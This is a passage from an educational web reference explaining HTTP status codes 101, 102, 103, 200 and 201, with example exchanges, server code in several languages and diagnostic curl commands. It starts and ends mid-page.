Application-specific protocol negotiation HTTP → Custom bidirectional protocol ``` ## Example Responses **WebSocket Upgrade Request:** ```http GET /chat HTTP/1.1 Host: example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Version: 13 ``` **101 Switching Protocols Response:** ```http HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= ``` ## Real-World Example Imagine you're building a real-time chat application: **Client Initiates WebSocket Upgrade:** ```http GET /ws/chat HTTP/1.1 Host: chat.example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw== Sec-WebSocket-Protocol: chat, superchat Sec-WebSocket-Version: 13 Origin: https://example.com ``` **Server Accepts Upgrade:** ```http HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk= Sec-WebSocket-Protocol: chat ``` After this exchange, the connection is now a WebSocket. Both client and server can send messages at any time without the request/response pattern of HTTP. ## 101 vs Other Status Codes | Code | Meaning | Protocol Change | Use Case | | ------- | ------------------- | ---------------------- | ----------------------------- | | **101** | Switching protocols | Yes | WebSocket, protocol upgrades | | **100** | Continue | No | Large request body validation | | **200** | OK | No | Standard successful response | | **426** | Upgrade Required | No (server demands it) | Force protocol upgrade | ## Important Characteristics **Permanent Protocol Switch:** ```http HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade ``` After 101, the connection no longer uses HTTP. All future data follows the new protocol. **Must Include Upgrade Header:** ```http # Client MUST send: Upgrade: websocket Connection: Upgrade # Server MUST echo: Upgrade: websocket Connection: Upgrade ``` **No Response Body:** The 101 response has no body. After the headers, the connection immediately switches to the new protocol. ## Common Mistakes **❌ Using 101 without Upgrade header** ```http HTTP/1.1 101 Switching Protocols # Missing Upgrade header! ``` **❌ Sending body with 101 response** ```http HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade {"message": "WebSocket ready"} ← Wrong! No body allowed ``` **❌ Not validating WebSocket handshake** ```javascript // ❌ Bad: Accept any upgrade request app.get('/ws', (req, res) => { res.status(101).end() }) ``` **✅ Correct WebSocket upgrade** ```javascript // ✅ Good: Proper WebSocket handshake const crypto = require('crypto') app.get('/ws', (req, res) => { const key = req.headers['sec-websocket-key'] const acceptKey = crypto .createHash('sha1') .update(key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11') .digest('base64') res.writeHead(101, { Upgrade: 'websocket', Connection: 'Upgrade', 'Sec-WebSocket-Accept': acceptKey }) }) ``` ## Getting 101 Switching Protocols right **Validate Upgrade Requests:** ```javascript app.get('/ws', (req, res) => { // Check required headers if (req.headers.upgrade?.toLowerCase() !== 'websocket') { return res.status(400).send('WebSocket upgrade required') } if (!req.headers['sec-websocket-key']) { return res.status(400).send('WebSocket key required') } // Proceed with upgrade... }) ``` **Use WebSocket Libraries:** ```javascript // Use established libraries instead of manual implementation const WebSocket = require('ws') const wss = new WebSocket.Server({ server: httpServer, path: '/ws' }) wss.on('connection', (ws) => { ws.on('message', (data) => { console.log('received:', data) }) ws.send('Welcome to WebSocket!') }) ``` **Handle Protocol Negotiation:** ```javascript // Support multiple sub-protocols app.get('/ws', (req, res) => { const requestedProtocols = req.headers['sec-websocket-protocol']?.split(',') const supportedProtocols = ['chat', 'notifications'] const protocol = requestedProtocols?.find((p) => supportedProtocols.includes(p.trim())) if (!protocol) { return res.status(400).send('No supported protocol') } // Include selected protocol in response res.setHeader('Sec-WebSocket-Protocol', protocol.trim()) // ... continue with upgrade }) ``` ## Implementation Examples **Node.js with ws library:** ```javascript const http = require('http') const WebSocket = require('ws') const server = http.createServer() const wss = new WebSocket.Server({ server }) wss.on('connection', (ws, req) => { console.log('Client connected from:', req.socket.remoteAddress) ws.on('message', (message) => { console.log('Received:', message) ws.send(`Echo: ${message}`) }) ws.on('close', () => { console.log('Client disconnected') }) }) server.listen(3000) ``` **Python with websockets:** ```python import asyncio import websockets async def handler(websocket, path): async for message in websocket: print(f"Received: {message}") await websocket.send(f"Echo: {message}") start_server = websockets.serve(handler, "localhost", 3000) asyncio.get_event_loop().run_until_complete(start_server) asyncio.get_event_loop().run_forever() ``` **Browser JavaScript:** ```javascript const ws = new WebSocket('ws://localhost:3000/chat') ws.onopen = () => { console.log('Connected') ws.send('Hello Server!') } ws.onmessage = (event) => { console.log('Received:', event.data) } ws.onerror = (error) => { console.error('WebSocket error:', error) } ws.onclose = () => { console.log('Disconnected') } ``` ## Try It Yourself Visit our [request builder](https://howhttpworks.com/tools/playground) to see protocol upgrades: 1. Open browser DevTools Network tab 2. Visit a WebSocket demo page 3. Watch the initial HTTP request 4. See the 101 Switching Protocols response 5. Observe WebSocket frames in the WS tab ## Try it with curl Send a WebSocket handshake by hand. `-N` disables output buffering, `--http1.1` avoids HTTP/2 (which has no `Upgrade`), and `-m 5` stops curl after 5 seconds because the connection stays open after the switch. The key below is the sample from RFC 6455. ```bash curl -i -N --http1.1 -m 5 https://api.example.com/socket \ -H 'Connection: Upgrade' \ -H 'Upgrade: websocket' \ -H 'Sec-WebSocket-Version: 13' \ -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' ``` Example output (illustrative, not captured from a real server): ```http HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= ``` curl cannot speak WebSocket frames over this connection, so it prints nothing further and then times out. A `400` or `426` here means the server rejected the handshake or the endpoint is not a WebSocket route. ## Related Status Codes - [100 Continue](https://howhttpworks.com/status-codes/100) - Interim response for large uploads - [426 Upgrade Required](https://howhttpworks.com/status-codes/426) - Server requires protocol upgrade - [200 OK](https://howhttpworks.com/status-codes/200) - Standard successful HTTP response ## Related Headers - Upgrade - Specifies protocol to switch to - Connection - Must be "Upgrade" for protocol switching - Sec-WebSocket-Key - Client's WebSocket handshake key - Sec-WebSocket-Accept - Server's WebSocket handshake response See also the comparison [SSE vs WebSockets vs long polling](https://howhttpworks.com/compare/sse-vs-websockets): choosing a realtime transport, with proxy buffering and HTTP/2 caveats. --- # 102 Processing > The server has accepted the request and is processing it, but no response is available yet. Learn about this WebDAV status code for long-running operations. Source: https://howhttpworks.com/status-codes/102 Last reviewed: 2026-10-04 > **TL;DR:** Server received your request and is working on it, but no response ready yet. Keep waiting for the final response. ## What is 102 Processing? A **102 Processing** status code is an interim response indicating that the server has received and is processing the request, but no response is available yet. Think of it like a progress update during a lengthy download—it reassures you that something is happening, even though it's not finished yet. This code was introduced in WebDAV (Web Distributed Authoring and Versioning) to prevent clients from timing out during long-running operations like complex file operations or large file uploads. ## When Does This Happen? You'll see a 102 Processing response in these common situations: **1. Large File Operations** ```text Server processing a large file upload Client uploads 5GB file → Server sends 102 while processing ``` **2. Complex WebDAV Requests** ```text PROPFIND operation on large directory structure Client requests properties → Server sends 102 while traversing ``` **3. Batch Operations** ```text Server processing multiple file deletions MKCOL with many nested collections → 102 during creation ``` **4. Long-Running Searches** ```text Searching through large document repositories Client searches → Server sends 102 while indexing ``` **5. Database-Heavy Operations** ```text Complex queries taking more than timeout threshold Client requests report → Server sends 102 while generating ``` ## Example Responses **WebDAV File Upload:** ```http HTTP/1.1 102 Processing Status: Processing large file upload (Connection remains open, server continues processing) ``` **Complex PROPFIND Operation:** ```http HTTP/1.1 102 Processing Status-URI: https://webdav.example.com/status/req-12345 Progress: Scanning directory tree (Followed by final response when complete) ``` **Batch File Operation:** ```http HTTP/1.1 102 Processing Content-Type: text/plain Processing batch operation: 45% complete Estimated time remaining: 30 seconds ``` ## Real-World Example Imagine you're using a WebDAV client to upload a large video file to a server: **Client Upload Request:** ```http PUT /videos/presentation.mp4 HTTP/1.1 Host: webdav.example.com Content-Length: 5368709120 Content-Type: video/mp4 Expect: 100-continue [5GB video data...] ``` **102 Processing Response:** ```http HTTP/1.1 102 Processing Content-Type: text/plain Date: Sat, 18 Jan 2026 10:30:00 GMT Processing upload: Validating file integrity Current progress: 2.5GB / 5GB received Estimated completion: 45 seconds ``` **Final Success Response:** ```http HTTP/1.1 201 Created Location: https://webdav.example.com/videos/presentation.mp4 ETag: "abc123def456" Content-Type: text/plain File uploaded successfully ``` ## 102 vs Other Informational Codes | Code | Meaning | Purpose | Connection State | | ------- | ----------- | ---------------------- | -------------------------------- | | **102** | Processing | Long operations update | Kept alive during processing | | **100** | Continue | Send request body | Kept alive for body transmission | | **103** | Early Hints | Send early headers | Kept alive for final response | | **200** | OK | Success (final) | Closes after response | ## Important Characteristics **Keeps Connection Alive:** ```http HTTP/1.1 102 Processing Connection: keep-alive ← Prevents timeout Status: Processing request... ``` **Interim Response:** ```text - 102 is NOT the final response - Server MUST send a final status code (2xx, 4xx, 5xx) - Client should continue waiting for final response ``` **Multiple 102 Responses:** ```http HTTP/1.1 102 Processing Status: Starting operation... HTTP/1.1 102 Processing Status: 50% complete... HTTP/1.1 102 Processing Status: 90% complete... HTTP/1.1 200 OK Content-Type: application/json {"status": "complete"} ``` ## Common Mistakes **❌ Sending 102 for quick operations** ```http HTTP/1.1 102 Processing ← Unnecessary for operations < 20 seconds Content-Type: text/plain Processing simple GET request... ``` **❌ Never sending final response** ```http HTTP/1.1 102 Processing Status: Processing... (Connection hangs, no final response sent) ← Client will timeout ``` **❌ Using 102 outside WebDAV context** ```http HTTP/1.1 102 Processing ← Not widely supported in regular HTTP (Most browsers ignore or don't handle this properly) ``` **✅ Correct usage** ```http HTTP/1.1 102 Processing Status: Processing WebDAV PROPFIND operation Progress: 30% (Later...) HTTP/1.1 207 Multi-Status ← Final response ``` ## Getting 102 Processing right **Send 102 Only for Long Operations:** ```http If operation takes > 20 seconds: HTTP/1.1 102 Processing Status: Operation in progress ``` **Provide Meaningful Status Updates:** ```http HTTP/1.1 102 Processing Content-Type: text/plain Processing batch file operation Files processed: 150 / 500 Current file: document_0150.pdf Estimated time remaining: 2 minutes ``` **Always Send Final Response:** ```javascript // Pseudo-code pattern sendInterimResponse(102, 'Processing request...') performLongOperation() sendFinalResponse(200, result) // Always send final response ``` **Set Appropriate Timeouts:** ```http HTTP/1.1 102 Processing Keep-Alive: timeout=300, max=1000 Status: Long operation in progress ``` ## Implementation Examples **Node.js with Express:** ```javascript app.put('/webdav/upload', async (req, res) => { // Send interim 102 response res.writeHead(102, { 'Content-Type': 'text/plain' }) res.write('Processing upload...\n') // Process the upload await processLargeUpload(req, (progress) => { // Send additional 102 updates res.write(`Progress: ${progress}%\n`) }) // Send final response res.writeHead(201, { Location: '/webdav/upload/file.dat' }) res.end('Upload complete') }) ``` **Apache WebDAV Configuration:** ```apache DAV On # Enable interim responses for long operations DavMinTimeout 300 DavProcessingDelay 20 ``` **Python with WebDAV:** ```python from http.server import BaseHTTPRequestHandler class WebDAVHandler(BaseHTTPRequestHandler): def do_PUT(self): # Send 102 Processing self.send_response(102) self.send_header('Content-Type', 'text/plain') self.end_headers() self.wfile.write(b'Processing upload...\n') # Process upload content_length = int(self.headers['Content-Length']) file_data = self.rfile.read(content_length) # Send final response self.send_response(201) self.send_header('Location', '/uploaded/file.dat') self.end_headers() ``` ## Browser and Client Support **Limited Support:** - 102 is primarily a WebDAV feature - Most modern browsers ignore 102 responses - Specialized WebDAV clients handle it properly - HTTP/2 and HTTP/3 have better alternatives **Better Alternatives for Modern Apps:** ```text For long operations, consider: - WebSockets for real-time updates - Server-Sent Events (SSE) for progress streaming - 202 Accepted with status endpoint polling ``` ## Try It Yourself Visit our [request builder](https://howhttpworks.com/tools/playground) and simulate a 102 response: 1. Set method to **PUT** 2. Set path to **/webdav/upload** 3. Add header `Content-Type: application/octet-stream` 4. Click **Send request** 5. Watch for interim 102 responses during processing ## Try it with curl `102 Processing` is a WebDAV-era interim response that most servers never send, so you will not be able to trigger it on demand. If a server does send one, `curl -v` prints it as a `< HTTP/1.1 102 Processing` block before the final status line. ```bash curl -v -X PROPFIND -H 'Depth: infinity' https://dav.example.com/large-collection/ ``` ## Related Status Codes - [100 Continue](https://howhttpworks.com/status-codes/100) - Request to proceed with body transmission - [103 Early Hints](https://howhttpworks.com/status-codes/103) - Send early response headers for preloading - [202 Accepted](https://howhttpworks.com/status-codes/202) - Request accepted, processing asynchronously - [201 Created](https://howhttpworks.com/status-codes/201) - Resource successfully created --- # 103 Early Hints > The server sends preliminary response headers to help the client start preloading resources. Learn how 103 Early Hints improves page load performance. Source: https://howhttpworks.com/status-codes/103 Last reviewed: 2026-10-04 > **TL;DR:** Server sends resource hints before final response to speed up page loading. Browser can start downloading CSS/JS while waiting. ## What is 103 Early Hints? A **103 Early Hints** status code is an informational response that lets the server send preliminary HTTP headers while it's still preparing the full response. Think of it like a restaurant server bringing you bread and water while the kitchen prepares your main course—it keeps you occupied and improves the overall experience. This status code is primarily used to hint at resources the client should start preloading (like CSS, JavaScript, fonts) before the final HTML response is ready, significantly improving page load performance. ## When Does This Happen? You'll see a 103 Early Hints response in these common situations: **1. Server-Side Rendering (SSR)** ```text Server generating HTML (takes 200ms) → Sends 103 with CSS/JS hints immediately → Browser starts downloading while waiting → Final HTML arrives with resources already loading ``` **2. Database-Heavy Pages** ```text Querying multiple databases for content → Send 103 with known static assets → Database queries complete → Return final response ``` **3. Authenticated Pages** ```text Validating user session (slow) → Send 103 with common resources → Complete auth check → Return personalized content ``` **4. API-Dependent Pages** ```text Waiting for third-party API responses → Send 103 with static assets → APIs respond → Render final page ``` **5. Edge Computing** ```text CDN edge processing request → Sends 103 with resource hints → Origin server generates response → Returns final content ``` ## Example Responses **Basic Early Hints:** ```http HTTP/1.1 103 Early Hints Link: ; rel=preload; as=style Link: ; rel=preload; as=script HTTP/1.1 200 OK Content-Type: text/html Content-Length: 1234 ... ``` **Multiple Resources:** ```http HTTP/1.1 103 Early Hints Link: ; rel=preload; as=style Link: ; rel=preload; as=script Link: ; rel=preload; as=font; crossorigin Link: ; rel=preload; as=image Link: https://cdn.example.com; rel=preconnect HTTP/1.1 200 OK Content-Type: text/html Hero ``` **With CSP Headers:** ```http HTTP/1.1 103 Early Hints Link: ; rel=preload; as=style Link: ; rel=preload; as=script Content-Security-Policy: default-src 'self' HTTP/1.1 200 OK Content-Type: text/html Content-Security-Policy: default-src 'self' Content-Length: 5678 ... ``` ## Real-World Example Imagine you're serving a Next.js application with server-side rendering: **Client Request:** ```http GET /dashboard HTTP/1.1 Host: app.example.com User-Agent: Mozilla/5.0... Cookie: session=abc123 ``` **Early Hints Response (sent immediately):** ```http HTTP/1.1 103 Early Hints Link: ; rel=preload; as=style Link: ; rel=preload; as=script Link: ; rel=preload; as=script Link: ; rel=preload; as=font; crossorigin Link: https://cdn.example.com; rel=preconnect Link: https://api.example.com; rel=preconnect ``` **Browser starts preloading resources...** **Final Response (200ms later):** ```http HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cache-Control: private, no-cache Content-Length: 45678
``` ## 103 vs Other Informational Codes | Code | Meaning | Purpose | Browser Action | | ------- | ------------------- | ------------------------ | -------------------------- | | **103** | Early Hints | Performance optimization | Start preloading resources | | **100** | Continue | Upload optimization | Send request body | | **101** | Switching Protocols | Protocol upgrade | Switch to new protocol | | **102** | Processing | Long operation status | Wait for completion | ## Important Characteristics **Timing Matters:** ```text Request received → Immediately send 103 → Process request → Send final response (0-10ms) (50-500ms) ``` **Link Header Format:** ```http Link: ; rel=preload; as=TYPE; [additional-params] Examples: Link: ; rel=preload; as=style Link: ; rel=preload; as=font; crossorigin Link: https://cdn.com; rel=preconnect ``` **Multiple 103 Responses:** - Servers can send multiple 103 responses - Each can contain different hints - Useful when hints are discovered progressively **Compatibility:** ```http Supported: Chrome 103+, Edge 103+, Firefox (partial) Unsupported: Safari (as of early 2026) Fallback: Browsers ignore 103, wait for final response ``` ## Common Mistakes **❌ Hinting resources not in final response** ```http 103 Early Hints: Link: ; rel=preload; as=style ← Never used 200 OK: ``` **❌ Sending 103 too late** ```javascript // Bad: After processing is done await processRequest() // 500ms res.writeEarlyHints() // Too late! res.send(html) ``` **❌ Overloading with hints** ```http HTTP/1.1 103 Early Hints Link: ; rel=preload; as=style Link: ; rel=preload; as=style Link: ; rel=preload; as=style ... 50 more resources ... ← Too many! ``` **✅ Correct usage** ```javascript // Good: Send immediately, only critical resources app.get('/page', async (req, res) => { // Send early hints ASAP res.writeEarlyHints({ link: ['; rel=preload; as=style', '; rel=preload; as=script'] }) // Then process request const data = await fetchData() res.send(renderHTML(data)) }) ``` ## Getting 103 Early Hints right **Hint Only Critical Resources:** ```http HTTP/1.1 103 Early Hints Link: ; rel=preload; as=style ✓ Above-fold CSS Link: ; rel=preload; as=image ✓ LCP image Link: ; rel=preload; as=script ✗ Non-critical ``` **Send Early Hints ASAP:** ```javascript // Express.js example app.get('/dashboard', async (req, res) => { // Send hints before ANY processing res.writeEarlyHints({ link: [ '; rel=preload; as=style', '; rel=preload; as=script', 'https://fonts.googleapis.com; rel=preconnect' ] }) // Now do expensive operations const userData = await db.query('SELECT * FROM users...') const analytics = await fetchAnalytics() res.send(renderPage(userData, analytics)) }) ``` **Consistent Hints Across Requests:** ```javascript // Cache hints for similar pages const dashboardHints = [ '; rel=preload; as=style', '; rel=preload; as=script' ] app.get('/dashboard/*', (req, res) => { res.writeEarlyHints({ link: dashboardHints }) // ... rest of handler }) ``` **Monitor Performance Impact:** ```javascript // Track Early Hints effectiveness const start = Date.now() res.writeEarlyHints({ link: hints }) res.on('finish', () => { const duration = Date.now() - start metrics.record('early_hints.duration', duration) }) ``` ## Implementation Examples **Node.js (Native HTTP):** ```javascript const http = require('http') http .createServer((req, res) => { // Send 103 Early Hints res.writeEarlyHints({ link: ['; rel=preload; as=style', '; rel=preload; as=script'] }) // Simulate processing time setTimeout(() => { res.writeHead(200, { 'Content-Type': 'text/html' }) res.end(`

Hello World

`) }, 100) }) .listen(3000) ``` **Express.js:** ```javascript const express = require('express') const app = express() app.get('/', async (req, res) => { // Send early hints immediately if (res.writeEarlyHints) { res.writeEarlyHints({ link: [ '; rel=preload; as=style', '; rel=preload; as=script', 'https://fonts.gstatic.com; rel=preconnect; crossorigin' ] }) } // Expensive operation const data = await fetchDataFromDB() res.send(renderHTML(data)) }) ``` **Cloudflare Worker:** ```javascript addEventListener('fetch', (event) => { event.respondWith(handleRequest(event.request)) }) async function handleRequest(request) { // Send Early Hints const earlyHintsResponse = new Response(null, { status: 103, headers: { Link: ['; rel=preload; as=style', '; rel=preload; as=script'].join(', ') } }) // Note: Cloudflare automatically handles 103 // This is for illustration // Fetch from origin const response = await fetch(request) return response } ``` **Nginx Configuration:** ```nginx # Nginx doesn't natively support 103, but can be added via modules # or handled by upstream application server location / { # Application sends 103 proxy_pass http://backend; proxy_http_version 1.1; } ``` ## Performance Impact **Before Early Hints:** ```text Request → Wait 200ms → Receive HTML → Parse → Discover resources → Download ↑ Start at ~200ms ``` **With Early Hints:** ```text Request → 103 (5ms) → Start downloads → Wait 195ms → Receive HTML ↑ ↑ Discover resources Resources already loading ``` **Typical Improvements:** - **First Contentful Paint (FCP):** 10-20% faster - **Largest Contentful Paint (LCP):** 15-30% faster - **Time to Interactive (TTI):** 10-20% faster ## Try It Yourself Visit our [request builder](https://howhttpworks.com/tools/playground) and see 103 Early Hints in action: 1. Set method to **GET** 2. Set path to **/early-hints-demo** 3. Click **Send request** 4. Watch for 103 response with Link headers 5. Observe resource preloading before final response ## Try it with curl curl prints interim responses in verbose mode, so `-v` is the way to see Early Hints. The server must support 103 (for example behind a CDN with Early Hints enabled), and the request is usually served over HTTP/2 or HTTP/3. ```bash curl -sv -o /dev/null https://www.example.com/ 2>&1 | grep -E '^< (HTTP|link)' ``` Example output (illustrative, not captured from a real server): ```text < HTTP/2 103 < link: ; rel=preload; as=style < HTTP/2 200 ``` If you only see the `200`, the server or an intermediary is not sending Early Hints, or it only sends them for clients it recognizes as browsers. ## Related Status Codes - [100 Continue](https://howhttpworks.com/status-codes/100) - Proceed with request body - [200 OK](https://howhttpworks.com/status-codes/200) - Final successful response - [Link Header (not a status)](https://howhttpworks.com/headers/link) - Resource relationship hints - [Server-Timing Header](https://howhttpworks.com/headers/server-timing) - Performance metrics --- # HTTP 200 OK: What It Means and When to Use It > 200 OK means the request succeeded and the response carries the result. What a 200 should contain, and when 201, 204 or 206 is the better answer for your API. Source: https://howhttpworks.com/status-codes/200 Last reviewed: 2026-10-05 > **TL;DR:** 200 OK means your request succeeded. The server processed it and is returning the requested data. 200 OK is the most common HTTP status code. It means everything worked—the server received your request, understood it, processed it successfully, and is sending back the result. ## What is 200 OK? When a server returns 200 OK, it's saying "your request succeeded, here's what you asked for": ```http GET /api/users/123 HTTP/1.1 Host: api.example.com ``` Response: ```http HTTP/1.1 200 OK Content-Type: application/json Content-Length: 89 { "id": 123, "name": "Alice Johnson", "email": "alice@example.com" } ``` ## When Servers Return 200 ### GET Request - Resource Retrieved ```http GET /products/456 HTTP/1.1 Host: shop.example.com HTTP/1.1 200 OK Content-Type: application/json { "id": 456, "name": "Wireless Headphones", "price": 79.99 } ``` ### POST Request - Action Completed ```http POST /api/login HTTP/1.1 Content-Type: application/json {"email": "user@example.com", "password": "..."} HTTP/1.1 200 OK Content-Type: application/json { "token": "eyJhbGciOiJIUzI1NiIs...", "user": {"id": 123, "name": "User"} } ``` ### PUT Request - Resource Updated ```http PUT /api/users/123 HTTP/1.1 Content-Type: application/json {"name": "Alice Smith"} HTTP/1.1 200 OK Content-Type: application/json { "id": 123, "name": "Alice Smith", "updatedAt": "2026-01-19T10:30:00Z" } ``` ### DELETE Request - Resource Removed ```http DELETE /api/posts/789 HTTP/1.1 HTTP/1.1 200 OK Content-Type: application/json { "message": "Post deleted successfully", "deletedId": 789 } ``` ## Response Body Content The response body varies by request type: ### HTML Page ```http HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Welcome

Hello, World!

``` ### JSON Data ```http HTTP/1.1 200 OK Content-Type: application/json { "users": [ {"id": 1, "name": "Alice"}, {"id": 2, "name": "Bob"} ], "total": 2 } ``` ### Image File ```http HTTP/1.1 200 OK Content-Type: image/png Content-Length: 12345 [binary PNG data] ``` ### Empty Array (Valid 200) ```http HTTP/1.1 200 OK Content-Type: application/json { "results": [], "total": 0 } ``` ## Common Response Headers | Header | Purpose | Example | | ---------------- | ---------------- | ------------------------------- | | `Content-Type` | Body format | `application/json` | | `Content-Length` | Body size | `1234` | | `Cache-Control` | Caching rules | `max-age=3600` | | `ETag` | Resource version | `"abc123"` | | `Last-Modified` | Last change | `Sat, 18 Jan 2026 10:00:00 GMT` | | `Set-Cookie` | Set cookies | `session=xyz; HttpOnly` | ## 200 OK vs Other Success Codes | Code | Name | When to Use | | ------- | ---------- | ---------------------------------- | | **200** | OK | General success with response body | | **201** | Created | New resource created (POST) | | **202** | Accepted | Request queued for processing | | **204** | No Content | Success but no body to return | ### Choosing the Right Code ```http # GET request - use 200 GET /users/123 → 200 OK with user data # POST creating resource - use 201 POST /users → 201 Created with new user + Location header # DELETE with no response body - use 204 DELETE /users/123 → 204 No Content # POST triggering async job - use 202 POST /reports/generate → 202 Accepted ``` ## Getting 200 OK right ### Do Return Useful Data ```http HTTP/1.1 200 OK Content-Type: application/json { "success": true, "data": { "id": 123, "name": "Alice" }, "meta": { "requestId": "req-abc-123", "timestamp": "2026-01-19T10:30:00Z" } } ``` ### Don't Return 200 for Errors ```http # ❌ Bad: 200 with error in body HTTP/1.1 200 OK {"error": "User not found"} # ✅ Good: Proper error status HTTP/1.1 404 Not Found {"error": "User not found"} ``` ### Include Appropriate Headers ```http HTTP/1.1 200 OK Content-Type: application/json Cache-Control: max-age=300 ETag: "v1-abc123" X-Request-ID: req-xyz-789 {"data": "..."} ``` ## JavaScript Handling ### Fetch API ```javascript const response = await fetch('/api/users/123') if (response.ok) { // true for 200-299 const user = await response.json() console.log('User:', user) } else { console.error('Request failed:', response.status) } ``` ### Checking Specifically for 200 ```javascript const response = await fetch('/api/data') if (response.status === 200) { const data = await response.json() // Process successful response } ``` ### With Error Handling ```javascript async function fetchUser(id) { const response = await fetch(`/api/users/${id}`) if (!response.ok) { throw new Error(`HTTP ${response.status}`) } return response.json() } try { const user = await fetchUser(123) displayUser(user) } catch (error) { showError(error.message) } ``` ## API Response Patterns ### Standard Success Response ```json { "status": "success", "data": { "id": 123, "name": "Alice" } } ``` ### Paginated Response ```json { "data": [ { "id": 1, "name": "Alice" }, { "id": 2, "name": "Bob" } ], "pagination": { "page": 1, "perPage": 20, "total": 150, "totalPages": 8 } } ``` ### Response with Metadata ```json { "data": { "id": 123 }, "meta": { "requestId": "req-abc", "processingTime": "45ms", "apiVersion": "v1" } } ``` ## Try It Yourself See a 200 OK response in our [request builder](https://howhttpworks.com/tools/playground?preset=get-one): 1. Select **GET** method 2. Set path to `/posts/1` 3. Click **Send** and observe the 200 response with post data ## Try it with curl ```bash curl -i https://api.example.com/items/42 ``` Example output (illustrative, not captured from a real server): ```http HTTP/2 200 content-type: application/json content-length: 41 {"id":42,"name":"Widget","price":9.99} ``` `-i` prints the status line and headers before the body. Add `-o /dev/null -w '%{http_code}\n'` to print only the status code. ## Related Status Codes - [201 Created](https://howhttpworks.com/status-codes/201) - New resource created - [204 No Content](https://howhttpworks.com/status-codes/204) - Success with no body - [304 Not Modified](https://howhttpworks.com/status-codes/304) - Cached version is current - [400 Bad Request](https://howhttpworks.com/status-codes/400) - Request was invalid - [500 Internal Server Error](https://howhttpworks.com/status-codes/500) - Server failed ## Related Concepts - [HTTP Methods](https://howhttpworks.com/methods/get) - Request types - [Content-Type](https://howhttpworks.com/headers/content-type) - Response format - [Caching](https://howhttpworks.com/headers/cache-control) - Storing responses - [206 Partial Content](https://howhttpworks.com/status-codes/206) - Only the requested byte range See also the comparison [200 vs 201 vs 204](https://howhttpworks.com/compare/200-vs-201-vs-204): choosing the right success code for create, read, update and delete. --- # 201 Created > Resource successfully created. Learn when to use 201 Created, proper response format, and best practices for creation endpoints. Source: https://howhttpworks.com/status-codes/201 Last reviewed: 2026-10-05 > **TL;DR:** 201 Created means the request succeeded and a new resource now exists. Return its URL in the `Location` header and, usually, a representation of it in the body. ## What it means The HTTP exchanges on this page are illustrative. The first response creates user 42 and gives the client both its URL and its current representation. ```http POST /api/users HTTP/1.1 Host: api.example.com Content-Type: application/json Content-Length: 40 {"name":"Ada","email":"ada@example.com"} HTTP/1.1 201 Created Location: https://api.example.com/api/users/42 Content-Type: application/json ETag: "v1" {"id":42,"name":"Ada","email":"ada@example.com"} ``` RFC 9110 section 15.3.2: the new resource is identified by the `Location` header, or by the request URL if there is none. The resource must exist when the response is sent; if creation is queued, use 202 instead. `Location` may be relative. Resolve it against the request URL; an absolute URL must use the public scheme and host, especially behind a reverse proxy. ## What you see in your client A search for “201 error code” usually leads to a success response. Check the status predicate in your application before changing the server: `status === 200` rejects valid creation responses. - **Axios:** 201 resolves with `response.status === 201` under the default `validateStatus`. A custom predicate that accepts only 200 produces `AxiosError: Request failed with status code 201`. Restore the 200–299 range if the endpoint creates resources. See Axios's [defaults](https://github.com/axios/axios/blob/v1.x/lib/defaults/index.js) and [rejection message](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **fetch:** the promise resolves and `response.ok` is `true`. Read `response.status` when your UI needs to distinguish creation from another successful result. These properties follow the [Fetch Standard](https://fetch.spec.whatwg.org/#dom-response-ok). - **Python requests:** `response.raise_for_status()` returns normally; `response.ok` is `True`. Its [implementation](https://requests.readthedocs.io/en/latest/_modules/requests/models/#Response.raise_for_status) raises `HTTPError` for 4xx and 5xx, so there is no built-in `201 Client Error` message. - **curl `-f`:** 201 passes the HTTP failure check. Use `-i` to see the headers; [curl's manual](https://curl.se/docs/manpage.html#-f) sets the failure threshold at 400. - **.NET:** `EnsureSuccessStatusCode()` returns the response. The [success check](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/System/Net/Http/HttpResponseMessage.cs) accepts 200–299. - **Spring:** `WebClient.retrieve()` uses `WebClientResponseException` for [4xx/5xx by default](https://docs.spring.io/spring-framework/reference/web/webflux-webclient/client-retrieve.html). `RestTemplate`'s [default error handler](https://github.com/spring-projects/spring-framework/blob/main/spring-web/src/main/java/org/springframework/web/client/DefaultResponseErrorHandler.java) likewise leaves 201 on the normal response path. Keep `Location` separate from redirect handling. A 201 identifies what you just created; it leaves the client on the original request rather than initiating a 301/302 navigation. Read the body when present, or issue a GET to the resource URL if you need its representation. ## When to use it - POST that creates a resource at a server-chosen URL (`POST /users` gives `/users/42`). - PUT to a URL that did not exist yet: 201 on create, 200 or 204 on replace. This is the standard "upsert" signal. - Not for: updates (200/204), work that has not finished (202), or "already exists" (409, or 200 with the existing resource for idempotent creates). ## 201 vs 200, 202 and 204 | Code | Use when | | ---- | --------------------------------------------------------------------- | | 200 | Success; response describes the result of the request | | 201 | A new resource exists now; `Location` points to it | | 202 | Accepted for processing, not complete (return a status URL) | | 204 | Success, no body (updates, deletes) | ## Implementation ### Express ```javascript app.post('/api/users', async (req, res) => { const user = await db.users.create(req.body) res.status(201).location(`/api/users/${user.id}`).json(user) }) ``` ### Django REST framework ```python class UserCreate(generics.CreateAPIView): serializer_class = UserSerializer # CreateModelMixin returns 201; it sets Location only if the serialized data has a 'url' key ``` ### Go net/http ```go w.Header().Set("Location", "/api/users/"+id) w.Header().Set("Content-Type", "application/json") w.WriteHeader(http.StatusCreated) json.NewEncoder(w).Encode(user) ``` ### Spring ```java @PostMapping("/api/users") ResponseEntity create(@RequestBody User u) { User saved = service.save(u); URI location = URI.create("/api/users/" + saved.getId()); return 